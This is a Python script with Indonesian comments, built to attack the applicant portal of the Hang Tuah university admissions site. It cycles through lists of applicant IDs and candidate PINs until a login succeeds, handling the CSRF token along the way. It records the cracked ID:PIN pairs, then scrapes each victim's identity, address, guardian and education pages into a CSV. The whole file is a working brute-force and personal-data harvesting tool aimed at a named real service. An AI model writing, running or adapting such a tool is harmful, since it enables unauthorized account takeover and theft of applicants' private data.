import requests from bs4 import BeautifulSoup import argparse import json import csv # Import modul csv untuk penulisan file CSV def validate_login_and_extract_data(base_domain, login_path, id_pendaftar, pin, target_pages): """ Melakukan proses login ke website PMB Hang Tuah, kemudian menavigasi ke halaman-halaman yang ditentukan untuk mengambil data. Mengembalikan dictionary data gabungan yang diekstrak jika berhasil, None jika gagal. Args: base_domain (str): Domain dasar website (e.g., "https://pmb.hangtuah.ac.id"). login_path (str): Path ke halaman login (e.g., "/login"). id_pendaftar (str): ID Pendaftar untuk login. pin (str): PIN untuk login. target_pages (dict): Dictionary berisi nama halaman (key) dan path relatif (value) yang ingin diambil datanya (e.g., {'Identitas': '/biodata/identitas'}). Returns: dict or None: Dictionary berisi data gabungan yang diekstrak jika berhasil, None jika gagal. """ session = requests.Session() login_url = f"{base_domain}{login_path}" print(f"Mencoba login untuk ID: {id_pendaftar} dengan PIN: {pin}") print(f"DEBUG: Base Domain yang digunakan: {base_domain}") try: # Step 1: Lakukan GET request awal ke halaman login untuk mendapatkan _token response_initial = session.get(login_url) if response_initial.status_code != 200: print(f"Gagal melakukan request awal ke {login_url} untuk ID: {id_pendaftar}. Status: {response_initial.status_code}") return None soup = BeautifulSoup(response_initial.text, 'html.parser') token_input = soup.find('input', {'name': '_token'}) token = token_input['value'] if token_input else None if not token: print(f"Token CSRF tidak ditemukan di halaman login untuk ID: {id_pendaftar}.") return None # Step 2: Siapkan data untuk POST request login data_login = { "idpendaftar": id_pendaftar, "pin": pin, "act": "login", "_token": token } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'en-US,en;q=0.9', 'Referer': login_url, } # Step 3: Lakukan POST request login response_login = session.post(login_url, data=data_login, headers=headers, allow_redirects=False) # Periksa apakah login berhasil (kode status 302 dan header Location) if response_login.status_code == 302 and "Location" in response_login.headers: location = response_login.headers["Location"] # Daftar path yang valid setelah login berhasil valid_redirect_paths = [ "/biodata", "/administrasi", "/nilai-rapor", "/finalisasi", "/pembayaran", "/seleksi", "/hasil-seleksi", "/daftar-ulang" ] if any(path in location for path in valid_redirect_paths): print(f"Login berhasil, dialihkan ke: {location}") # Step 4: Ikuti pengalihan awal untuk memperbarui cookie sesi redirect_full_url = f"{base_domain}{location}" session.get(redirect_full_url) # Step 5: Iterasi dan ambil data dari setiap halaman target all_extracted_data = {} for page_name, relative_path in target_pages.items(): current_page_url = f"{base_domain.rstrip('/')}{relative_path}" print(f"DEBUG: Mengambil data dari halaman: {page_name} ({current_page_url})") response_page = session.get(current_page_url) if response_page.status_code == 200: soup_page = BeautifulSoup(response_page.text, 'html.parser') page_data = {} # Strategi 1: Cari pasangan label dan nilai dalam struktur div.form-group form_groups = soup_page.find_all('div', class_='form-group') for group in form_groups: label_tag = group.find('label') value_tag = group.find('div', class_='form-control-static') if label_tag and value_tag: label_text = label_tag.get_text(strip=True) value_text = value_tag.get_text(strip=True) page_data[label_text] = value_text # Strategi 2: Jika Strategi 1 tidak menghasilkan banyak data, # coba cari dalam struktur tabel (th dan td). if not page_data: tables = soup_page.find_all('table') for table in tables: rows = table.find_all('tr') for row in rows: header = row.find('th') data = row.find('td') if header and data: page_data[header.get_text(strip=True)] = data.get_text(strip=True) # Tambahkan prefiks nama halaman ke setiap kunci dan gabungkan for key, value in page_data.items(): all_extracted_data[f"{page_name}_{key}"] = value print(f"Data berhasil ditemukan di halaman {page_name}.") else: print(f"Peringatan: Gagal mengakses halaman {page_name} untuk ID {id_pendaftar}. Status: {response_page.status_code}") if all_extracted_data: return all_extracted_data else: print(f"Tidak ada data yang ditemukan dari halaman manapun untuk ID {id_pendaftar}.") return None else: print(f"Pengalihan tidak valid setelah login untuk ID {id_pendaftar}. Lokasi: {location}") return None else: print(f"Login gagal untuk ID {id_pendaftar}. Status: {response_login.status_code}") return None except requests.exceptions.RequestException as e: print(f"Terjadi kesalahan koneksi untuk ID {id_pendaftar}: {e}") return None except Exception as e: print(f"Terjadi kesalahan tak terduga untuk ID {id_pendaftar}: {e}") return None def process_logins(base_domain, ids_pendaftar, pins, berhasil_file, gagal_file, output_csv_file): """ Mengiterasi melalui daftar ID pendaftar dan PIN untuk melakukan proses login dan pengambilan data dari berbagai halaman, kemudian menyimpannya ke file CSV. """ login_path = "/login" # Definisi halaman-halaman yang ingin diambil datanya target_pages = { 'Identitas': '/biodata/identitas', 'Domisili': '/biodata/domisili', 'DataWali': '/biodata/datawali', 'Pendidikan': '/biodata/pendidikan', 'PilihanProdi': '/biodata/pilihanprodi' } all_successful_data = [] # List untuk menyimpan semua dictionary data yang berhasil # Fase 1: Mencoba login dan mengumpulkan data yang berhasil for id_pendaftar in ids_pendaftar: print(f"\n--- Memproses ID Pendaftar: {id_pendaftar} ---") found_match = False for pin in pins: extracted_data = validate_login_and_extract_data(base_domain, login_path, id_pendaftar, pin, target_pages) if extracted_data: # Tambahkan ID Pendaftar dan PIN ke dictionary data extracted_data['ID Pendaftar'] = id_pendaftar extracted_data['PIN'] = pin all_successful_data.append(extracted_data) # Tulis ke file berhasil.txt with open(berhasil_file, "a", encoding="utf-8") as file: file.write(f"{id_pendaftar} : {pin}\n") print(f"Login berhasil dan data diambil dari semua halaman untuk ID: {id_pendaftar} dengan PIN: {pin}") found_match = True break # Hentikan mencoba PIN lain jika sudah berhasil untuk ID ini if not found_match: # Tulis ke file gagal.txt jika tidak ada PIN yang cocok print(f"Login gagal untuk ID Pendaftar: {id_pendaftar}. Tidak ada PIN yang cocok atau data tidak dapat diambil.") with open(gagal_file, "a", encoding="utf-8") as file: file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok atau pengambilan data gagal\n") # Fase 2: Menulis data yang berhasil ke file CSV if not all_successful_data: print("Tidak ada data yang berhasil diambil untuk ditulis ke CSV.") return # Kumpulkan semua nama kolom unik (headers) dari semua data yang berhasil # Pastikan 'ID Pendaftar' dan 'PIN' ada di awal fieldnames = ['ID Pendaftar', 'PIN'] unique_keys_from_data = set() for data_row in all_successful_data: for key in data_row.keys(): if key not in ['ID Pendaftar', 'PIN']: # Hindari duplikasi unique_keys_from_data.add(key) # Urutkan kunci-kunci unik secara alfabetis untuk konsistensi, lalu tambahkan sorted_unique_keys = sorted(list(unique_keys_from_data)) fieldnames.extend(sorted_unique_keys) # Tulis data ke file CSV try: with open(output_csv_file, 'w', newline='', encoding='utf-8') as csvfile: csv_writer = csv.DictWriter(csvfile, fieldnames=fieldnames) csv_writer.writeheader() # Tulis baris header csv_writer.writerows(all_successful_data) # Tulis semua baris data print(f"Data berhasil disimpan ke {output_csv_file} dalam format CSV.") except Exception as e: print(f"Gagal menulis data ke file CSV {output_csv_file}: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Proses login dan pengambilan data dari PMB Hang Tuah.') parser.add_argument('base_domain', help='URL dasar website (contoh: https://pmb.hangtuah.ac.id, JANGAN SERTAKAN /login)') parser.add_argument('--ids', nargs='+', required=True, help='Daftar ID pendaftar untuk login (pisahkan dengan spasi)') parser.add_argument('--pins', nargs='+', required=True, help='Daftar PIN untuk dicoba (pisahkan dengan spasi)') parser.add_argument('--berhasil', default='berhasil.txt', help='File untuk menyimpan ID dan PIN yang berhasil login') parser.add_argument('--gagal', default='gagal.txt', help='File untuk menyimpan ID yang gagal login') parser.add_argument('--output', default='data_lengkap_pendaftar.csv', help='File untuk menyimpan data yang diambil dari semua halaman dalam format CSV') args = parser.parse_args() process_logins(args.base_domain, args.ids, args.pins, args.berhasil, args.gagal, args.output)